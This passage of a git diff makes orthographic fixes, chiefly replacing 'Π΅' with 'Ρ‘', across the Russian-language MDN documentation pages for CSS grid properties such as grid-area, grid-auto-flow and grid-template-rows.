+<p>Как ΠΈ с Π»ΡŽΠ±Ρ‹ΠΌ сокращённым свойством, любоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, устанавливаСтся Π² Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, пСрСопрСдСляя значСния, Ρ€Π°Π½Π΅Π΅ установлСнныС с использованиСм Π½Π΅ сокращённых свойств). Бвойства {{cssxref ("font-size-Adjust")}} ΠΈ {{cssxref ("font-kerning")}} Ρ…ΠΎΡ‚ΡŒ ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ установлСны с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>font</code>, Π½ΠΎ ΠΎΠ½ΠΈΒ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠ±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ ΠΊ своим Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ значСниям.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/css/grid-area/index.html b/files/ru/web/css/grid-area/index.html
index dcbbae226f..2712892e54 100644
--- a/files/ru/web/css/grid-area/index.html
+++ b/files/ru/web/css/grid-area/index.html
@@ -3,7 +3,7 @@ title: grid-area
slug: Web/CSS/grid-area
translation_of: Web/CSS/grid-area
---
-<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">CSS свойство </span></font><strong>grid-area</strong></code> - это <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращСнная Ρ„ΠΎΡ€ΠΌΠ° записи</a> для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} ΠΈ {{cssxref("grid-column-end")}}.Β ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚Β Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ мСстополоТСниС Π³Ρ€ΠΈΠ΄-элСмСнта Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… {{glossary("grid rows", "grid row")}}. Π—Π°Π΄Π°Π΅Ρ‚ края {{glossary("grid areas", "Π³Ρ€ΠΈΠ΄-области")}} Π³Ρ€ΠΈΠ΄-элСмСнта.</p>
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">CSS свойство </span></font><strong>grid-area</strong></code> - это <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращённая Ρ„ΠΎΡ€ΠΌΠ° записи</a> для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} ΠΈ {{cssxref("grid-column-end")}}.Β ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚Β Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ мСстополоТСниС Π³Ρ€ΠΈΠ΄-элСмСнта Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… {{glossary("grid rows", "grid row")}}. Π—Π°Π΄Π°Ρ‘Ρ‚ края {{glossary("grid areas", "Π³Ρ€ΠΈΠ΄-области")}} Π³Ρ€ΠΈΠ΄-элСмСнта.</p>
<pre class="brush: css no-line-numbers">/* ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Π² качСствС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ */
grid-area: auto;
@@ -30,7 +30,7 @@ grid-area: initial;
grid-area: unset;
</pre>
-<p>Если Π·Π°Π΄Π°Π½Ρ‹ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ значСния <code>&lt;grid-line&gt;</code>Β , Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт <code>grid-row-start</code>Β , Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ -Β Β <code>grid-column-start</code>Β , Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ -Β Β <code>grid-row-end</code>Β ΠΈ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ -Β Β <code>grid-column-end</code>.</p>
+<p>Если Π·Π°Π΄Π°Π½Ρ‹ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ значСния <code>&lt;grid-line&gt;</code>Β , Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт <code>grid-row-start</code>Β , Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ -Β Β <code>grid-column-start</code>Β , Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ -Β Β <code>grid-row-end</code>Β ΠΈ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ -Β Β <code>grid-column-end</code>.</p>
<p>Если  <code>grid-column-end</code> ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ, Π° <code>grid-column-start</code> Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ {{cssxref("&lt;custom-ident&gt;")}}, <code>grid-column-end</code> устанавливаСтся Π² это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>&lt;custom-ident&gt;</code>; ΠΈΠ½Π°Ρ‡Π΅ ΠΎΠ½ΠΎ устанавливаСтся Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>auto</code>.</p>
diff --git a/files/ru/web/css/grid-auto-flow/index.html b/files/ru/web/css/grid-auto-flow/index.html
index 35d6789975..226db2bb76 100644
--- a/files/ru/web/css/grid-auto-flow/index.html
+++ b/files/ru/web/css/grid-auto-flow/index.html
@@ -35,9 +35,9 @@ grid-auto-flow: unset;
<dl>
<dt><code>row</code></dt>
- <dd>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты, заполняя ΠΏΠΎΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку ΠΈ добавляя Π½ΠΎΠ²Ρ‹Π΅ строки ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
+ <dd>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты, заполняя ΠΏΠΎΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку ΠΈ добавляя Π½ΠΎΠ²Ρ‹Π΅ строки ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
<dt><code>column</code></dt>
- <dd>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты, заполняя ΠΏΠΎΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ столбСц и добавляя Π½ΠΎΠ²Ρ‹Π΅ столбцы ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости.</dd>
+ <dd>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты, заполняя ΠΏΠΎΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ столбСц и добавляя Π½ΠΎΠ²Ρ‹Π΅ столбцы ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости.</dd>
<dt><code>dense</code></dt>
<dd>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π·Π°ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ элСмСнтами свободноС пространство сСтки. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡŽ порядка, Ρ‚.ΠΊ. элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π½Π΅ Π² соотвСтствии со своим располоТСниСм, Π° Π² соотвСтствии с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ.</dd>
<dd><br>
diff --git a/files/ru/web/css/grid-row-start/index.html b/files/ru/web/css/grid-row-start/index.html
index 15559e4134..5817eef381 100644
--- a/files/ru/web/css/grid-row-start/index.html
+++ b/files/ru/web/css/grid-row-start/index.html
@@ -55,7 +55,7 @@ grid-row-start: unset;
<p>Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС это обрабатываСтся Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Ρ†Π΅Π»ΠΎΠ΅ число 1 Π±Ρ‹Π»ΠΎ ΡƒΠΊΠ°Π·Π°Π½ΠΎ вмСстС с <code>&lt;custom-ident&gt;</code>.</p>
</dd>
<dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
- <dd>Вносит n-ю линию сСтки Π² Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ элСмСнта сСтки. Если Π·Π°Π΄Π°Π½ΠΎ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅ число, вмСсто этого начинаСтся ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ отсчСт, начиная с ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ края явной сСтки. Если имя Π·Π°Π΄Π°Π½ΠΎ ΠΊΠ°ΠΊ &lt;custom-<code>ident</code>&gt;, ΠΏΠΎΠ΄ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ строки с этим ΠΈΠΌΠ΅Π½Π΅ΠΌ. Если сущСствуСт нСдостаточно строк с Ρ‚Π°ΠΊΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, прСдполагаСтся, Ρ‡Ρ‚ΠΎ всС нСявныС Π»ΠΈΠ½ΠΈΠΈ сСтки ΠΈΠΌΠ΅ΡŽΡ‚ это имя для нахоТдСния этой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ.</dd>
+ <dd>Вносит n-ю линию сСтки Π² Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ элСмСнта сСтки. Если Π·Π°Π΄Π°Π½ΠΎ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅ число, вмСсто этого начинаСтся ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ отсчёт, начиная с ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ края явной сСтки. Если имя Π·Π°Π΄Π°Π½ΠΎ ΠΊΠ°ΠΊ &lt;custom-<code>ident</code>&gt;, ΠΏΠΎΠ΄ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ строки с этим ΠΈΠΌΠ΅Π½Π΅ΠΌ. Если сущСствуСт нСдостаточно строк с Ρ‚Π°ΠΊΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, прСдполагаСтся, Ρ‡Ρ‚ΠΎ всС нСявныС Π»ΠΈΠ½ΠΈΠΈ сСтки ΠΈΠΌΠ΅ΡŽΡ‚ это имя для нахоТдСния этой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ.</dd>
<dd>
<p>An {{cssxref("integer")}} value of <code>0</code> is invalid.</p>
</dd>
diff --git a/files/ru/web/css/grid-template-areas/index.html b/files/ru/web/css/grid-template-areas/index.html
index 6827415b30..3e9a83e744 100644
--- a/files/ru/web/css/grid-template-areas/index.html
+++ b/files/ru/web/css/grid-template-areas/index.html
@@ -33,7 +33,7 @@ grid-template-areas: unset;
<dt><code>none</code></dt>
<dd>ΠšΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ Π½Π΅ опрСдСляСт Π½ΠΈΠΊΠ°ΠΊΠΈΡ… Π½Π°Π·Π²Π°Π½ΠΈΠΉ grid-области.</dd>
<dt><code>{{cssxref("&lt;string&gt;")}}+</code></dt>
- <dd>Бтрока создаСтся ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ пСрСносом строки, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ каТдая колонка создаСтся Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· созданных строк. НСсколько прописанных ΠΌΠ°Ρ€ΠΊΠ΅Ρ€ΠΎΠ² Π² строкС ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· строки создаСт ΠΎΠ΄Π½Ρƒ Π½Π°Π·Π²Π°Π½Π½ΡƒΡŽ grid-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ячСйки. ΠŸΡ€ΠΎΠΏΠΈΡΠ°Π½Π½Ρ‹Π΅ ячСйки ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ -Β ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹.</dd>
+ <dd>Бтрока создаётся ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ пСрСносом строки, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ каТдая колонка создаётся Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· созданных строк. НСсколько прописанных ΠΌΠ°Ρ€ΠΊΠ΅Ρ€ΠΎΠ² Π² строкС ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· строки создаёт ΠΎΠ΄Π½Ρƒ Π½Π°Π·Π²Π°Π½Π½ΡƒΡŽ grid-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ячСйки. ΠŸΡ€ΠΎΠΏΠΈΡΠ°Π½Π½Ρ‹Π΅ ячСйки ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ -Β ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹.</dd>
</dl>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
diff --git a/files/ru/web/css/grid-template-columns/index.html b/files/ru/web/css/grid-template-columns/index.html
index fda2e71bb3..546a42ed31 100644
--- a/files/ru/web/css/grid-template-columns/index.html
+++ b/files/ru/web/css/grid-template-columns/index.html
@@ -59,9 +59,9 @@ grid-template-columns: unset;
<dt><code>min-content</code></dt>
<dd>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π΅Π΅ самый большой ΠΈΠ· ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠ² элСмСнтов располоТСнных Π² Π΄Π°Π½Π½ΠΎΠΌ Ρ‚Ρ€Π΅ΠΊΠ΅.</dd>
<dt><code>{{cssxref("minmax", "minmax(min, max)")}}</code></dt>
- <dd>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π°Π΄Π°Π΅Ρ‚ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ больший ΠΈΠ»ΠΈ Ρ€Π°Π²Π½Ρ‹ΠΉ <em>min</em> ΠΈ мСньший ΠΈΠ»ΠΈ Ρ€Π°Π²Π½Ρ‹ΠΉ <em>max</em>. Если <em>max</em> мСньшС Ρ‡Π΅ΠΌ <em>min</em>, Ρ‚ΠΎΠ³Π΄Π° <em>max</em> игнорируСтся ΠΈ эта функция рассматриваСтся ΠΊΠ°ΠΊ <em>min</em>. ΠœΠ°ΠΊΡΠΈΠΌΡƒΠΌΠΎΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>&lt;flex&gt;</code> устанавливаСт flex Ρ„Π°ΠΊΡ‚ΠΎΡ€ Π»ΠΈΠ½ΠΈΠΈ (track’s flex factor). Оно Π½Π΅ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ°ΠΊ минимальноС.</dd>
+ <dd>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π°Π΄Π°Ρ‘Ρ‚ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ больший ΠΈΠ»ΠΈ Ρ€Π°Π²Π½Ρ‹ΠΉ <em>min</em> ΠΈ мСньший ΠΈΠ»ΠΈ Ρ€Π°Π²Π½Ρ‹ΠΉ <em>max</em>. Если <em>max</em> мСньшС Ρ‡Π΅ΠΌ <em>min</em>, Ρ‚ΠΎΠ³Π΄Π° <em>max</em> игнорируСтся ΠΈ эта функция рассматриваСтся ΠΊΠ°ΠΊ <em>min</em>. ΠœΠ°ΠΊΡΠΈΠΌΡƒΠΌΠΎΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>&lt;flex&gt;</code> устанавливаСт flex Ρ„Π°ΠΊΡ‚ΠΎΡ€ Π»ΠΈΠ½ΠΈΠΈ (track’s flex factor). Оно Π½Π΅ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ°ΠΊ минимальноС.</dd>
<dt id="auto"><code>auto</code></dt>
- <dd>Π­Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½ΠΎ <code>max-content</code>, Ссли ΠΎΠ½ΠΎ максимальноС. Как минимальноС, ΠΎΠ½ΠΎ прСдставляСт Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элСмСнтов сСтки, Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΡ… Π΄Π°Π½Π½Ρ‹ΠΉ Ρ‚Ρ€Π΅ΠΊ.</dd>
+ <dd>Π­Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½ΠΎ <code>max-content</code>, Ссли ΠΎΠ½ΠΎ максимальноС. Как минимальноС, ΠΎΠ½ΠΎ прСдставляСт Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элСмСнтов сСтки, Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΡ… Π΄Π°Π½Π½Ρ‹ΠΉ Ρ‚Ρ€Π΅ΠΊ.</dd>
<dd>
<p class="note">ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅: Волько <code>auto</code> Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Ρ‚Ρ€Π΅ΠΊΠ° ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ растянуты свойствами {{cssxref("align-content")}} ΠΈ {{cssxref("justify-content")}}.</p>
</dd>
diff --git a/files/ru/web/css/grid-template-rows/index.html b/files/ru/web/css/grid-template-rows/index.html
index a6d1c4b36b..e4343f33b6 100644
--- a/files/ru/web/css/grid-template-rows/index.html
+++ b/files/ru/web/css/grid-template-rows/index.html
@@ -52,7 +52,7 @@ grid-template-rows: unset;
<dt><code>&lt;length&gt;</code></dt>
<dd>ΠΠ΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°.</dd>
<dt><code>&lt;percentage&gt;</code></dt>
- <dd>ΠΠ΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{cssxref("percentage", "&lt;percentage&gt;")}} , ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π±Π»ΠΎΠΊΠ° сСтки ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Если Ρ€Π°Π·ΠΌΠ΅Ρ€ сСтки контСйнСра зависит ΠΎΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π΅Π³ΠΎ ΠΏΡƒΡ‚ΠΈ, Ρ‚ΠΎ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊΒ <code>auto</code>. БобствСнный Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²ΠΊΠ»Π°Π΄ΠΎΠ² ΠΏΡƒΡ‚ΠΈΒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ скоррСктирован Π² соотвСтствии с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ сСтки ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΏΡƒΡ‚ΠΈ Π½Π° ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ, которая ΠΏΡ€ΠΈΠ²Π΅Π»Π° Π±Ρ‹ ΠΊ ΡƒΡ‡Π΅Ρ‚Ρƒ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°.</dd>
+ <dd>ΠΠ΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{cssxref("percentage", "&lt;percentage&gt;")}} , ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π±Π»ΠΎΠΊΠ° сСтки ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Если Ρ€Π°Π·ΠΌΠ΅Ρ€ сСтки контСйнСра зависит ΠΎΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π΅Π³ΠΎ ΠΏΡƒΡ‚ΠΈ, Ρ‚ΠΎ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊΒ <code>auto</code>. БобствСнный Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²ΠΊΠ»Π°Π΄ΠΎΠ² ΠΏΡƒΡ‚ΠΈΒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ скоррСктирован Π² соотвСтствии с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ сСтки ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΏΡƒΡ‚ΠΈ Π½Π° ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ, которая ΠΏΡ€ΠΈΠ²Π΅Π»Π° Π±Ρ‹ ΠΊ ΡƒΡ‡Ρ‘Ρ‚Ρƒ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°.</dd>
<dd><br>
<strong>{{cssxref("&lt;flex_value&gt;","&lt;flex&gt;")}}</strong><br>
Is a non-negative dimension with the unit <code>fr</code> specifying the track’s flex factor. Each <code>&lt;flex&gt;</code>-sized track takes a share of the remaining space in proportion to its flex factor. When appearing outside a <code>minmax()</code> notation, it implies an automatic minimum (i.e. <code>minmax(auto, &lt;flex&gt;)</code>).</dd>
diff --git a/files/ru/web/css/grid/index.html b/files/ru/web/css/grid/index.html
index 5ae9d4a987..35d648aa50 100644
--- a/files/ru/web/css/grid/index.html
+++ b/files/ru/web/css/grid/index.html
@@ -10,9 +10,9 @@ translation_of: Web/CSS/grid
---
